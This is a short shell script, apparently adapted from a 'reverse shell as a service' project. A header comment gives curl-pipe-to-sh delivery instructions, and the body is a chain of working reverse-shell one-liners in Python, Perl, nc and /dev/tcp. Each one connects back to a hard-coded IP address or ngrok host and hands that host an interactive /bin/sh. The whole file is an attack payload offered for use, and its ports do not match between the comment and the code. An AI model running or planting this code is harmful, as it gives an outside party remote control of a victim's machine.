# Reverse Shell as a Service
# https://github.com/lukechilds/reverse-shell
#
# 1. On your machine:
#      nc -l 1339
#
# 2. On the target machine:
#      curl 0.tcp.ap.ngrok.io:1339 | sh
#
# 3. Don't be a dick

if command -v python > /dev/null 2>&1; then
	python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("199.192.21.217",443)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
	exit;
fi

if command -v perl > /dev/null 2>&1; then
	perl -e 'use Socket;$i="0.tcp.ap.ngrok.io";$p=13690;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
	exit;
fi

if command -v nc > /dev/null 2>&1; then
	rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.tcp.ap.ngrok.io 13690 >/tmp/f
	exit;
fi

if command -v sh > /dev/null 2>&1; then
	/bin/sh -i >& /dev/tcp/0.tcp.ap.ngrok.io/13690 0>&1
	exit;
fi